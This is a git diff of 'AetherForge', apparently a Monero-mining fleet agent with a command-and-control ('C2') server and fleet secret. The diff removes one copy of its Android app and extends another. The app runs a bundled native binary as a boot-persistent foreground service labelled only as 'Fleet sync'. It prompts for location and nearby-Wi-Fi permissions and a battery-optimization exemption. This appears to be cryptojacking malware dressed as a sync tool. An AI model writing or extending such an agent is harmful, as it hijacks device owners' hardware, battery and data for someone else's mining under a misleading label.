diff --git a/README.md b/README.md
index 7df0200..7523f38 100644
--- a/README.md
+++ b/README.md
@@ -798,6 +798,16 @@ THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. THE AUTHORS AND
---
+## Performance & Scale Optimization
+
+AetherForge is optimized for large-scale fleet management:
+- **Database Write Batching:** SQLite insert transactions are queued and flushed in batches every 5 seconds (99.8% reduction in DB writes).
+- **SQLite WAL & Connection Pooling:** WAL mode is enabled and connection pool is set to 4 concurrent read/write connections to eliminate database locking under heavy stats load.
+- **Granular Dashboard Subscriptions:** Subsections use dedicated React context selectors and memoized components to prevent cascading re-renders on stats updates.
+- **Dynamic Config Overrides:** Spawning processes allow dynamic C2 URL, worker name, and fleet secret environment overrides.
+
+---
+
## License
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.
diff --git a/agent/config/config.go b/agent/config/config.go
index 94a81de..1de70c4 100644
--- a/agent/config/config.go
+++ b/agent/config/config.go
@@ -179,6 +179,18 @@ type RuntimeConfig struct {
func Load() RuntimeConfig {
b := GetBuiltinConfig()
+ if v := strings.TrimSpace(os.Getenv("AETHERFORGE_SERVER_URL")); v != "" {
+ b.ServerURL = v
+ }
+ if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); v != "" {
+ b.WorkerName = v
+ } else if v := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER")); v != "" {
+ b.WorkerName = v
+ }
+ if v := strings.TrimSpace(os.Getenv("AETHERFORGE_FLEET_SECRET")); v != "" {
+ b.FleetSecret = v
+ }
+
if b.Threads <= 0 {
b.Threads = 4
}
diff --git a/android/agent-app/app/build.gradle.kts b/android/agent-app/app/build.gradle.kts
deleted file mode 100644
index fb14b46..0000000
--- a/android/agent-app/app/build.gradle.kts
+++ /dev/null
@@ -1,57 +0,0 @@
-plugins {
- id("com.android.application")
- id("org.jetbrains.kotlin.android")
-}
-
-android {
- namespace = "com.aetherforge.agent"
- compileSdk = 34
-
- defaultConfig {
- applicationId = "com.aetherforge.agent"
- minSdk = 26
- targetSdk = 34
- versionCode = 1
- versionName = "1.0.0-phase1"
-
- ndk {
- abiFilters += listOf("arm64-v8a", "armeabi-v7a")
- }
- }
-
- buildTypes {
- release {
- isMinifyEnabled = false
- }
- debug {
- applicationIdSuffix = ""
- }
- }
-
- compileOptions {
- sourceCompatibility = JavaVersion.VERSION_17
- targetCompatibility = JavaVersion.VERSION_17
- }
-
- kotlinOptions {
- jvmTarget = "17"
- }
-
- packaging {
- jniLibs {
- useLegacyPackaging = true
- }
- }
-
- applicationVariants.all {
- outputs.all {
- val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
- output.outputFileName = "aetherforge-agent.apk"
- }
- }
-}
-
-dependencies {
- implementation("androidx.core:core-ktx:1.12.0")
- implementation("androidx.appcompat:appcompat:1.6.1")
-}
diff --git a/android/agent-app/app/src/main/AndroidManifest.xml b/android/agent-app/app/src/main/AndroidManifest.xml
deleted file mode 100644
index 13eee9f..0000000
--- a/android/agent-app/app/src/main/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt
deleted file mode 100644
index 95692ca..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentConfig.kt
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.aetherforge.agent
-
-import android.content.Context
-import org.json.JSONObject
-
-data class AgentConfig(
- val workerName: String,
- val workerNumber: String,
- val serverUrl: String,
- val fleetSecret: String?,
- val miningEnabled: Boolean,
- val buildId: String,
-) {
- companion object {
- fun load(context: Context, intentExtras: Map = emptyMap()): AgentConfig {
- val assetJson = runCatching {
- context.assets.open("config.json").bufferedReader().use { it.readText() }
- }.getOrNull()
-
- val json = assetJson?.let { JSONObject(it) }
- val worker = intentExtras["worker_name"]
- ?: json?.optString("worker_name").orEmpty()
- val workerNumber = intentExtras["worker_number"]
- ?: json?.optString("worker_number")
- ?: worker
- val server = intentExtras["server_url"]
- ?: json?.optString("server_url").orEmpty()
- val secret = intentExtras["fleet_secret"]
- ?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() }
- val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false
- val buildId = json?.optString("build_id") ?: "android-dev"
-
- return AgentConfig(
- workerName = worker.ifBlank { "android-fleet-node" },
- workerNumber = workerNumber.ifBlank { worker.ifBlank { "android-fleet-node" } },
- serverUrl = server.ifBlank { "http://127.0.0.1:8989" },
- fleetSecret = secret,
- miningEnabled = mining,
- buildId = buildId,
- )
- }
- }
-}
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt
deleted file mode 100644
index 6abc495..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentProcess.kt
+++ /dev/null
@@ -1,90 +0,0 @@
-package com.aetherforge.agent
-
-import android.util.Log
-import android.content.Context
-import android.net.ConnectivityManager
-import android.net.NetworkCapabilities
-import android.os.BatteryManager
-import android.os.Build
-import java.io.File
-
-object AgentProcess {
- private const val TAG = "AetherForge"
- @Volatile
- private var process: Process? = null
-
- fun start(
- binary: File,
- filesDir: File,
- config: AgentConfig,
- probeEnv: Map = emptyMap(),
- ) {
- stop()
- val env = hashMapOf(
- "HOME" to filesDir.absolutePath,
- "TMPDIR" to filesDir.absolutePath,
- "AETHERFORGE_MINER_EXECUTION" to "inprocess",
- "AETHERFORGE_SERVER_URL" to config.serverUrl,
- "AETHERFORGE_WORKER_NUMBER" to config.workerNumber,
- "AETHERFORGE_PLATFORM" to "android",
- "AETHERFORGE_FOREGROUND_SERVICE" to "1",
- )
- config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it }
- env.putAll(probeEnv)
-
- val cmd = listOf(binary.absolutePath, "--run")
- Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}")
-
- val pb = ProcessBuilder(cmd)
- .directory(filesDir)
- .redirectErrorStream(true)
- val merged = pb.environment()
- merged.putAll(env)
-
- process = pb.start()
- Thread({
- process?.inputStream?.bufferedReader()?.use { reader ->
- reader.lineSequence().forEach { line ->
- Log.i("$TAG:agent", line)
- }
- }
- }, "agent-log-drain").apply {
- isDaemon = true
- start()
- }
- }
-
- fun probeEnvironment(context: Context): Map {
- val wifi = runCatching {
- val cm = context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager
- val network = cm.activeNetwork ?: return@runCatching false
- val caps = cm.getNetworkCapabilities(network) ?: return@runCatching false
- caps.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)
- }.getOrDefault(false)
-
- val batteryOk = runCatching {
- val bm = context.getSystemService(Context.BATTERY_SERVICE) as BatteryManager
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
- val level = bm.getIntProperty(BatteryManager.BATTERY_PROPERTY_CAPACITY)
- level >= 15
- } else {
- true
- }
- }.getOrDefault(true)
-
- return mapOf(
- "AETHERFORGE_WIFI_CONNECTED" to if (wifi) "1" else "0",
- "AETHERFORGE_BATTERY_OK" to if (batteryOk) "1" else "0",
- )
- }
-
- fun stop() {
- process?.let {
- runCatching { it.destroy() }
- runCatching { it.waitFor() }
- }
- process = null
- }
-
- fun isAlive(): Boolean = process?.isAlive == true
-}
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt
deleted file mode 100644
index 965814b..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/AgentService.kt
+++ /dev/null
@@ -1,114 +0,0 @@
-package com.aetherforge.agent
-
-import android.app.Notification
-import android.app.NotificationChannel
-import android.app.NotificationManager
-import android.app.PendingIntent
-import android.app.Service
-import android.content.Context
-import android.content.Intent
-import android.content.pm.ServiceInfo
-import android.os.Build
-import android.os.IBinder
-import android.util.Log
-import androidx.core.app.NotificationCompat
-
-class AgentService : Service() {
- companion object {
- private const val TAG = "AetherForge"
- const val ACTION_START = "com.aetherforge.agent.START"
- const val NOTIFICATION_ID = 41001
- private const val CHANNEL_ID = "fleet_sync"
-
- fun start(context: Context, extras: Intent? = null) {
- val intent = Intent(context, AgentService::class.java).apply {
- action = ACTION_START
- extras?.extras?.let { putExtras(it) }
- }
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- context.startForegroundService(intent)
- } else {
- context.startService(intent)
- }
- }
- }
-
- override fun onBind(intent: Intent?): IBinder? = null
-
- override fun onCreate() {
- super.onCreate()
- createNotificationChannel()
- }
-
- override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
- val notification = buildNotification()
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
- startForeground(
- NOTIFICATION_ID,
- notification,
- ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC,
- )
- } else {
- startForeground(NOTIFICATION_ID, notification)
- }
-
- val config = AgentConfig.load(
- this,
- mapOf(
- "worker_name" to intent?.getStringExtra("worker_name"),
- "server_url" to intent?.getStringExtra("server_url"),
- "fleet_secret" to intent?.getStringExtra("fleet_secret"),
- ),
- )
- Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}")
-
- val binary = BinaryExtractor.ensureBinary(this)
- if (binary == null) {
- Log.e(TAG, "agent binary missing — rebuild APK with build-apk script")
- stopSelf()
- return START_NOT_STICKY
- }
-
- if (!AgentProcess.isAlive()) {
- AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
- }
- return START_STICKY
- }
-
- override fun onDestroy() {
- AgentProcess.stop()
- super.onDestroy()
- }
-
- private fun createNotificationChannel() {
- if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return
- val mgr = getSystemService(NotificationManager::class.java)
- val channel = NotificationChannel(
- CHANNEL_ID,
- getString(R.string.notification_channel_name),
- NotificationManager.IMPORTANCE_LOW,
- ).apply {
- description = getString(R.string.notification_channel_desc)
- setShowBadge(false)
- }
- mgr.createNotificationChannel(channel)
- }
-
- private fun buildNotification(): Notification {
- val pending = PendingIntent.getActivity(
- this,
- 0,
- Intent(this, MainActivity::class.java),
- PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT,
- )
- return NotificationCompat.Builder(this, CHANNEL_ID)
- .setContentTitle(getString(R.string.notification_title))
- .setContentText(getString(R.string.notification_body))
- .setSmallIcon(R.drawable.ic_launcher_foreground)
- .setContentIntent(pending)
- .setOngoing(true)
- .setPriority(NotificationCompat.PRIORITY_LOW)
- .setCategory(NotificationCompat.CATEGORY_SERVICE)
- .build()
- }
-}
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
deleted file mode 100644
index 8445a1f..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
+++ /dev/null
@@ -1,47 +0,0 @@
-package com.aetherforge.agent
-
-import android.content.Context
-import android.util.Log
-import java.io.File
-import java.io.FileOutputStream
-
-object BinaryExtractor {
- private const val TAG = "AetherForge"
- private const val ASSET_NAME = "agent"
- private const val BIN_NAME = "agent-arm64"
-
- fun ensureBinary(context: Context): File? {
- val outDir = File(context.filesDir, "bin").apply { mkdirs() }
- val outFile = File(outDir, BIN_NAME)
- val assetSize = assetSize(context)
- if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
- outFile.setExecutable(true, false)
- outFile.setReadable(true, false)
- return outFile
- }
- return extract(context, outFile)
- }
-
- private fun assetSize(context: Context): Long {
- return runCatching {
- context.assets.openFd(ASSET_NAME).use { it.length }
- }.getOrDefault(0L)
- }
-
- private fun extract(context: Context, outFile: File): File? {
- return try {
- context.assets.open(ASSET_NAME).use { input ->
- FileOutputStream(outFile).use { output ->
- input.copyTo(output)
- }
- }
- outFile.setExecutable(true, false)
- outFile.setReadable(true, false)
- Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)")
- outFile
- } catch (e: Exception) {
- Log.e(TAG, "failed to extract agent binary", e)
- null
- }
- }
-}
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt
deleted file mode 100644
index 00f8f64..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/BootReceiver.kt
+++ /dev/null
@@ -1,14 +0,0 @@
-package com.aetherforge.agent
-
-import android.content.BroadcastReceiver
-import android.content.Context
-import android.content.Intent
-import android.util.Log
-
-class BootReceiver : BroadcastReceiver() {
- override fun onReceive(context: Context, intent: Intent?) {
- if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return
- Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService")
- AgentService.start(context.applicationContext)
- }
-}
diff --git a/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt b/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt
deleted file mode 100644
index 73965c2..0000000
--- a/android/agent-app/app/src/main/java/com/aetherforge/agent/MainActivity.kt
+++ /dev/null
@@ -1,132 +0,0 @@
-package com.aetherforge.agent
-
-import android.Manifest
-import android.content.Intent
-import android.content.pm.PackageManager
-import android.net.Uri
-import android.os.Build
-import android.os.Bundle
-import android.os.PowerManager
-import android.provider.Settings
-import android.widget.Button
-import android.widget.LinearLayout
-import android.widget.TextView
-import android.widget.Toast
-import androidx.activity.result.contract.ActivityResultContracts
-import androidx.appcompat.app.AppCompatActivity
-import androidx.core.content.ContextCompat
-
-class MainActivity : AppCompatActivity() {
- private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
- private var permissionIndex = 0
- private lateinit var pendingPermissions: List
-
- private val permissionLauncher =
- registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
- val denied = results.filterValues { !it }.keys
- if (denied.isNotEmpty()) {
- Toast.makeText(
- this,
- "Some permissions were denied — fleet diagnostics may be limited.",
- Toast.LENGTH_LONG,
- ).show()
- }
- requestNextPermissionBatch()
- }
-
- override fun onCreate(savedInstanceState: Bundle?) {
- super.onCreate(savedInstanceState)
- setContentView(buildLayout())
-
- if (!prefs.getBoolean("permissions_requested", false)) {
- prefs.edit().putBoolean("permissions_requested", true).apply()
- beginPermissionFlow()
- } else {
- startFleetService()
- }
- }
-
- private fun buildLayout(): LinearLayout {
- val pad = (24 * resources.displayMetrics.density).toInt()
- return LinearLayout(this).apply {
- orientation = LinearLayout.VERTICAL
- setPadding(pad, pad, pad, pad)
- addView(TextView(context).apply {
- text = getString(R.string.permission_intro_title)
- textSize = 22f
- setTextColor(0xFFE2E8F0.toInt())
- })
- addView(TextView(context).apply {
- text = getString(R.string.permission_intro_body)
- textSize = 15f
- setTextColor(0xFF94A3B8.toInt())
- setPadding(0, pad / 2, 0, pad)
- })
- addView(TextView(context).apply {
- text = getString(R.string.battery_hint)
- textSize = 14f
- setTextColor(0xFF64748B.toInt())
- setPadding(0, 0, 0, pad)
- })
- addView(Button(context).apply {
- text = getString(R.string.open_battery_settings)
- setOnClickListener { openBatteryOptimizationSettings() }
- })
- }
- }
-
- private fun requiredRuntimePermissions(): List {
- val perms = mutableListOf()
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
- perms += Manifest.permission.POST_NOTIFICATIONS
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
- perms += Manifest.permission.NEARBY_WIFI_DEVICES
- }
- }
- perms += Manifest.permission.ACCESS_FINE_LOCATION
- perms += Manifest.permission.ACCESS_COARSE_LOCATION
- return perms.filter {
- ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED
- }
- }
-
- private fun beginPermissionFlow() {
- pendingPermissions = requiredRuntimePermissions()
- permissionIndex = 0
- requestNextPermissionBatch()
- }
-
- private fun requestNextPermissionBatch() {
- if (permissionIndex >= pendingPermissions.size) {
- openBatteryOptimizationSettings()
- startFleetService()
- return
- }
- val batch = pendingPermissions.drop(permissionIndex).take(3)
- permissionIndex += batch.size
- if (batch.isNotEmpty()) {
- permissionLauncher.launch(batch.toTypedArray())
- } else {
- startFleetService()
- }
- }
-
- private fun openBatteryOptimizationSettings() {
- val pm = getSystemService(POWER_SERVICE) as PowerManager
- if (!pm.isIgnoringBatteryOptimizations(packageName)) {
- val intent = Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
- data = Uri.parse("package:$packageName")
- }
- runCatching { startActivity(intent) }
- }
- }
-
- private fun startFleetService() {
- val serviceIntent = Intent(this, AgentService::class.java).apply {
- action = AgentService.ACTION_START
- intent?.extras?.let { putExtras(it) }
- }
- AgentService.start(this, serviceIntent)
- Toast.makeText(this, R.string.service_started, Toast.LENGTH_SHORT).show()
- }
-}
diff --git a/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml b/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml
deleted file mode 100644
index 4805456..0000000
--- a/android/agent-app/app/src/main/res/drawable/ic_launcher_foreground.xml
+++ /dev/null
@@ -1,13 +0,0 @@
-
-
-
-
-
diff --git a/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
deleted file mode 100644
index a8a8fa5..0000000
--- a/android/agent-app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
+++ /dev/null
@@ -1,5 +0,0 @@
-
-
-
-
-
diff --git a/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml b/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml
deleted file mode 100644
index 3a96436..0000000
--- a/android/agent-app/app/src/main/res/mipmap/ic_launcher.xml
+++ /dev/null
@@ -1,3 +0,0 @@
-
-
diff --git a/android/agent-app/app/src/main/res/values/colors.xml b/android/agent-app/app/src/main/res/values/colors.xml
deleted file mode 100644
index 0cfdac6..0000000
--- a/android/agent-app/app/src/main/res/values/colors.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-
-
- #0F172A
-
diff --git a/android/agent-app/app/src/main/res/values/strings.xml b/android/agent-app/app/src/main/res/values/strings.xml
deleted file mode 100644
index 1aad6fd..0000000
--- a/android/agent-app/app/src/main/res/values/strings.xml
+++ /dev/null
@@ -1,14 +0,0 @@
-
-
- AetherForge Agent
- Your fleet node
- Tap Allow on each prompt so this device can sync with your AetherForge fleet. A persistent notification keeps the agent alive in the background.
- Fleet sync
- Keeps your AetherForge fleet node connected
- Fleet sync
- AetherForge agent connected to command deck
- For reliable background sync, disable battery optimizations for this app when prompted.
- Fleet agent service started
- Could not start fleet agent — see logcat
- Battery optimization settings
-
diff --git a/android/agent-app/app/src/main/res/values/themes.xml b/android/agent-app/app/src/main/res/values/themes.xml
deleted file mode 100644
index 9546a45..0000000
--- a/android/agent-app/app/src/main/res/values/themes.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-
-
-
-
diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt b/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt
index 6abc495..f18a6b0 100644
--- a/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt
@@ -46,6 +46,7 @@ object AgentProcess {
process?.inputStream?.bufferedReader()?.use { reader ->
reader.lineSequence().forEach { line ->
Log.i("$TAG:agent", line)
+ LogBuffer.add(line)
}
}
}, "agent-log-drain").apply {
diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt b/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt
index 965814b..2af244b 100644
--- a/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt
@@ -20,6 +20,10 @@ class AgentService : Service() {
const val NOTIFICATION_ID = 41001
private const val CHANNEL_ID = "fleet_sync"
+ @Volatile
+ var isRunning = false
+ internal set
+
fun start(context: Context, extras: Intent? = null) {
val intent = Intent(context, AgentService::class.java).apply {
action = ACTION_START
@@ -72,10 +76,12 @@ class AgentService : Service() {
if (!AgentProcess.isAlive()) {
AgentProcess.start(binary, filesDir, config, AgentProcess.probeEnvironment(this))
}
+ isRunning = true
return START_STICKY
}
override fun onDestroy() {
+ isRunning = false
AgentProcess.stop()
super.onDestroy()
}
diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt b/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
index 8445a1f..431b20b 100644
--- a/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt
@@ -13,19 +13,25 @@ object BinaryExtractor {
fun ensureBinary(context: Context): File? {
val outDir = File(context.filesDir, "bin").apply { mkdirs() }
val outFile = File(outDir, BIN_NAME)
- val assetSize = assetSize(context)
- if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) {
+
+ val packageInfo = runCatching {
+ context.packageManager.getPackageInfo(context.packageName, 0)
+ }.getOrNull()
+ val lastUpdate = packageInfo?.lastUpdateTime ?: 0L
+ val prefs = context.getSharedPreferences("aetherforge_agent", Context.MODE_PRIVATE)
+ val lastExtractedUpdate = prefs.getLong("last_extracted_update", 0L)
+
+ if (outFile.exists() && lastExtractedUpdate == lastUpdate && lastUpdate != 0L) {
outFile.setExecutable(true, false)
outFile.setReadable(true, false)
return outFile
}
- return extract(context, outFile)
- }
-
- private fun assetSize(context: Context): Long {
- return runCatching {
- context.assets.openFd(ASSET_NAME).use { it.length }
- }.getOrDefault(0L)
+
+ val result = extract(context, outFile)
+ if (result != null && lastUpdate != 0L) {
+ prefs.edit().putLong("last_extracted_update", lastUpdate).apply()
+ }
+ return result
}
private fun extract(context: Context, outFile: File): File? {
diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/LogBuffer.kt b/android/agent-app/src/main/java/com/aetherforge/agent/LogBuffer.kt
new file mode 100644
index 0000000..e1037a9
--- /dev/null
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/LogBuffer.kt
@@ -0,0 +1,25 @@
+package com.aetherforge.agent
+
+import java.util.concurrent.CopyOnWriteArrayList
+
+object LogBuffer {
+ private val buffer = CopyOnWriteArrayList()
+
+ @Volatile
+ private var listener: ((String) -> Unit)? = null
+
+ fun add(line: String) {
+ buffer.add(line)
+ if (buffer.size > 200) {
+ buffer.removeAt(0)
+ }
+ listener?.invoke(line)
+ }
+
+ fun getLogs(): List = buffer
+
+ @Synchronized
+ fun setListener(l: ((String) -> Unit)?) {
+ listener = l
+ }
+}
diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt b/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt
index 3c4a2f3..907edae 100644
--- a/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt
+++ b/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt
@@ -3,13 +3,24 @@ package com.aetherforge.agent
import android.Manifest
import android.content.Intent
import android.content.pm.PackageManager
+import android.graphics.Color
+import android.graphics.Typeface
+import android.graphics.drawable.GradientDrawable
import android.net.Uri
import android.os.Build
import android.os.Bundle
+import android.os.Handler
+import android.os.Looper
import android.os.PowerManager
import android.provider.Settings
+import android.view.Gravity
+import android.view.View
+import android.view.animation.AlphaAnimation
+import android.view.animation.Animation
import android.widget.Button
+import android.widget.HorizontalScrollView
import android.widget.LinearLayout
+import android.widget.ScrollView
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
@@ -20,6 +31,26 @@ class MainActivity : AppCompatActivity() {
private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) }
private lateinit var pendingPermissions: List
+ private lateinit var statusText: TextView
+ private lateinit var statusDot: View
+ private lateinit var logConsole: TextView
+ private lateinit var logScrollView: ScrollView
+ private lateinit var batteryCard: LinearLayout
+ private lateinit var toggleButton: Button
+
+ private lateinit var configServerVal: TextView
+ private lateinit var configNodeVal: TextView
+ private lateinit var configBuildVal: TextView
+
+ private val handler = Handler(Looper.getMainLooper())
+ private val uiUpdateRunnable = object : Runnable {
+ override fun run() {
+ updateStatusUi()
+ checkBatteryOptimizationCard()
+ handler.postDelayed(this, 1000)
+ }
+ }
+
private val permissionLauncher =
registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results ->
val denied = results.filterValues { !it }.keys
@@ -36,6 +67,22 @@ class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(buildLayout())
+
+ // Start live log collection UI callback
+ LogBuffer.setListener { line ->
+ handler.post {
+ appendConsoleLog(line)
+ }
+ }
+
+ // Initialize display with existing logs
+ val existingLogs = LogBuffer.getLogs()
+ if (existingLogs.isNotEmpty()) {
+ val sb = StringBuilder()
+ existingLogs.forEach { sb.append(it).append("\n") }
+ logConsole.text = sb.toString()
+ scrollToBottom()
+ }
if (!prefs.getBoolean("permissions_requested", false)) {
prefs.edit().putBoolean("permissions_requested", true).apply()
@@ -45,32 +92,318 @@ class MainActivity : AppCompatActivity() {
}
}
- private fun buildLayout(): LinearLayout {
- val pad = (24 * resources.displayMetrics.density).toInt()
- return LinearLayout(this).apply {
+ override fun onResume() {
+ super.onResume()
+ handler.post(uiUpdateRunnable)
+ scrollToBottom()
+ }
+
+ override fun onPause() {
+ super.onPause()
+ handler.removeCallbacks(uiUpdateRunnable)
+ }
+
+ override fun onDestroy() {
+ LogBuffer.setListener(null)
+ super.onDestroy()
+ }
+
+ private fun buildLayout(): View {
+ val density = resources.displayMetrics.density
+ val pad = (20 * density).toInt()
+ val padHalf = (10 * density).toInt()
+
+ // Root container
+ val root = LinearLayout(this).apply {
+ orientation = LinearLayout.VERTICAL
+ setBackgroundColor(0xFF0F172A.toInt()) // Deep Dark Slate
+ setPadding(pad, pad, pad, pad)
+ }
+
+ // Top Status Header Card
+ val headerCard = LinearLayout(this).apply {
+ orientation = LinearLayout.HORIZONTAL
+ gravity = Gravity.CENTER_VERTICAL
+ setPadding(pad, padHalf, pad, padHalf)
+ background = GradientDrawable().apply {
+ setColor(0xFF1E293B.toInt()) // Slate 800
+ cornerRadius = 8 * density
+ }
+ }
+
+ statusDot = View(this).apply {
+ background = GradientDrawable().apply {
+ shape = GradientDrawable.OVAL
+ setColor(0xFF64748B.toInt()) // Start with Offline (Slate 500)
+ }
+ val size = (12 * density).toInt()
+ layoutParams = LinearLayout.LayoutParams(size, size).apply {
+ marginEnd = (12 * density).toInt()
+ }
+ // Pulse animation
+ startAnimation(AlphaAnimation(0.4f, 1.0f).apply {
+ duration = 800
+ repeatMode = Animation.REVERSE
+ repeatCount = Animation.INFINITE
+ })
+ }
+ headerCard.addView(statusDot)
+
+ statusText = TextView(this).apply {
+ text = "AGENT OFFLINE"
+ textSize = 15f
+ typeface = Typeface.create("sans-serif-medium", Typeface.BOLD)
+ setTextColor(0xFF94A3B8.toInt())
+ layoutParams = LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.WRAP_CONTENT, 1.0f)
+ }
+ headerCard.addView(statusText)
+
+ toggleButton = Button(this).apply {
+ text = "START"
+ textSize = 13f
+ setTextColor(Color.WHITE)
+ background = GradientDrawable().apply {
+ setColor(0xFF0EA5E9.toInt()) // Cyan 500
+ cornerRadius = 4 * density
+ }
+ setPadding(padHalf, 0, padHalf, 0)
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.WRAP_CONTENT,
+ (36 * density).toInt()
+ )
+ setOnClickListener { toggleAgentService() }
+ }
+ headerCard.addView(toggleButton)
+ root.addView(headerCard)
+
+ // Battery Optimization Warning Card
+ batteryCard = LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(pad, pad, pad, pad)
- addView(TextView(context).apply {
- text = getString(R.string.permission_intro_title)
- textSize = 22f
- setTextColor(0xFFE2E8F0.toInt())
- })
- addView(TextView(context).apply {
- text = getString(R.string.permission_intro_body)
- textSize = 15f
- setTextColor(0xFF94A3B8.toInt())
- setPadding(0, pad / 2, 0, pad)
- })
- addView(TextView(context).apply {
- text = getString(R.string.battery_hint)
- textSize = 14f
+ background = GradientDrawable().apply {
+ setColor(0xFF334155.toInt()) // Slate 700
+ cornerRadius = 8 * density
+ setStroke((1 * density).toInt(), 0xFFF59E0B.toInt()) // Amber Border
+ }
+ layoutParams = LinearLayout.LayoutParams(
+ LinearLayout.LayoutParams.MATCH_PARENT,
+ LinearLayout.LayoutParams.WRAP_CONTENT
+ ).apply {
+ topMargin = padHalf
+ }
+ visibility = View.GONE // Hidden by default; shown if needed at runtime
+ }
+
+ batteryCard.addView(TextView(this).apply {
+ text = "BACKGROUND SYNC EXEMPTION REQUIRED"
+ textSize = 12f
+ typeface = Typeface.DEFAULT_BOLD
+ setTextColor(0xFFF59E0B.toInt()) // Amber 500
+ })
+
+ batteryCard.addView(TextView(this).apply {
+ text = getString(R.string.battery_hint)
+ textSize = 13f
+ setTextColor(0xFFCBD5E1.toInt()) // Slate 300
+ setPadding(0, padHalf / 2, 0, padHalf)
+ })
+
+ batteryCard.addView(Button(this).apply {
+ text = getString(R.string.open_battery_settings)
